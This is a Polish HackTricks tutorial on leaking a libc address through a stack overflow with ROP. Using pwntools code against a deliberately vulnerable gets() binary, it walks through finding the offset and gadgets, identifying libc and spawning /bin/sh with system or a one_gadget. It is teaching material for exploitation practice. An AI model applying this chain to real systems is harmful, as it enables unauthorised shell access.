Wyciekanie adresu libc za pomocą ROP
Reading time: 9 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Szybkie podsumowanie
- Znajdź offset przepełnienia
- Znajdź gadżet
POP_RDI
, gadżetPUTS_PLT
i gadżetMAIN
- Użyj poprzednich gadżetów, aby wyciec adres pamięci funkcji puts lub innej funkcji libc i znaleźć wersję libc (pobierz to)
- Z biblioteką, oblicz ROP i wykorzystaj to
Inne samouczki i pliki binarne do ćwiczeń
Ten samouczek będzie wykorzystywał kod/pliki binarne zaproponowane w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kod
Nazwa pliku: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Szablon wycieku LIBC
Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik oraz przekaż potrzebne dane do skryptu:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
1- Znalezienie offsetu
Szablon potrzebuje offsetu przed kontynuowaniem exploitacji. Jeśli jakikolwiek zostanie podany, wykona niezbędny kod, aby go znaleźć (domyślnie OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Wykonaj python template.py
, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp
, aby uzyskać bajty, które miały nadpisać RIP. Na koniec uzyskaj offset za pomocą konsoli python:
from pwn import *
cyclic_find(0x6161616b)
Po znalezieniu offsetu (w tym przypadku 40) zmień zmienną OFFSET wewnątrz szablonu, używając tej wartości.
OFFSET = "A" * 40
Innym sposobem byłoby użycie: pattern create 1000
-- wykonaj do ret -- pattern seach $rsp
z GEF.
2- Znajdowanie Gadżetów
Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania puts
, aby znaleźć używaną libc, a później do uruchomienia ostatecznego exploit.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
jest potrzebny do wywołania funkcji puts.
MAIN_PLT
jest potrzebny do ponownego wywołania funkcji main po jednej interakcji, aby wykorzystać przepełnienie ponownie (nieskończone rundy eksploatacji). Jest używany na końcu każdego ROP, aby ponownie wywołać program.
POP_RDI jest potrzebny do przekazania parametru do wywoływanej funkcji.
W tym kroku nie musisz nic wykonywać, ponieważ wszystko zostanie znalezione przez pwntools podczas wykonania.
3- Znalezienie biblioteki libc
Teraz czas, aby znaleźć, która wersja biblioteki libc jest używana. Aby to zrobić, zamierzamy wyciek adresu w pamięci funkcji puts
, a następnie zamierzamy wyszukać, w której wersji biblioteki znajduje się wersja puts w tym adresie.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Aby to zrobić, najważniejsza linia wykonanego kodu to:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
To wyśle kilka bajtów, aż nadpisanie RIP będzie możliwe: OFFSET
.
Następnie ustawi adres gadżetu POP_RDI
, aby następny adres (FUNC_GOT
) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać puts, przekazując mu adres PUTS_GOT
, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez PUTS_GOT
.
Po tym zostanie wywołane PUTS_PLT
(z PUTS_GOT
wewnątrz RDI), aby puts odczytał zawartość wewnątrz PUTS_GOT
(adres funkcji puts w pamięci) i wydrukował go.
Na koniec funkcja main jest wywoływana ponownie, abyśmy mogli ponownie wykorzystać przepełnienie.
W ten sposób oszukaliśmy funkcję puts, aby wydrukowała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.
Ponieważ eksploatujemy lokalny binarny plik, nie ma potrzeby ustalania, która wersja libc jest używana (po prostu znajdź bibliotekę w /lib/x86_64-linux-gnu/libc.so.6
).
Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak możesz to znaleźć:
3.1- Wyszukiwanie wersji libc (1)
Możesz wyszukać, która biblioteka jest używana na stronie internetowej: https://libc.blukat.me/
Pozwoli to również pobrać odkrytą wersję libc.
3.2- Wyszukiwanie wersji libc (2)
Możesz również zrobić:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
To zajmie trochę czasu, bądź cierpliwy.
Aby to zadziałało, potrzebujemy:
- Nazwa symbolu libc:
puts
- Wyciekniony adres libc:
0x7ff629878690
Możemy ustalić, która libc jest najprawdopodobniej używana.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Otrzymujemy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwsze nie działa). Pobierz pierwsze:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
do naszego katalogu roboczego.
3.3- Inne funkcje do wycieku
puts
printf
__libc_start_main
read
gets
4- Znajdowanie adresu libc opartego na lokalizacji i eksploatacja
Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6
Na początku template.py
zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy
Podając ścieżkę do biblioteki libc, reszta eksploatująca zostanie automatycznie obliczona.
Wewnątrz funkcji get_addr
zostanie obliczony adres bazowy libc:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Zauważ, że ostateczny adres bazy libc musi kończyć się na 00. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.
Następnie adres funkcji system
oraz adres do ciągu "/bin/sh" będą obliczane na podstawie adresu bazy libc i podane bibliotece libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Na koniec przygotowywany jest exploit do wykonania /bin/sh:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Wyjaśnijmy ten ostatni ROP.
Ostatni ROP (rop1
) zakończył się ponownym wywołaniem funkcji main, więc możemy ponownie wykorzystać przepełnienie (dlatego OFFSET
jest tutaj ponownie). Następnie chcemy wywołać POP_RDI
, wskazując na adres "/bin/sh" (BINSH
) i wywołać funkcję system (SYSTEM
), ponieważ adres "/bin/sh" zostanie przekazany jako parametr.
Na koniec adres funkcji exit jest wywoływany, aby proces ładnie zakończył działanie i nie wygenerował żadnego alertu.
W ten sposób exploit uruchomi powłokę _/bin/sh_**.**
4(2)- Używając ONE_GADGET
Możesz również użyć ONE_GADGET , aby uzyskać powłokę zamiast używać system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego adresu ROP.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to [rsp+0x30] == NULL
. Ponieważ kontrolujesz wartości w RSP, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
PLIK EKSPLOATACYJNY
Możesz znaleźć szablon do wykorzystania tej luki tutaj:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
Typowe problemy
MAIN_PLT = elf.symbols['main'] nie znaleziono
Jeśli symbol "main" nie istnieje. Wtedy możesz znaleźć, gdzie znajduje się główny kod:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
i ustaw adres ręcznie:
MAIN_PLT = 0x401080
Puts nie znaleziono
Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa
sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono
Jeśli znajdziesz ten błąd po stworzeniu wszystkich exploitów: sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono
Spróbuj odjąć 64 bajty od adresu "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.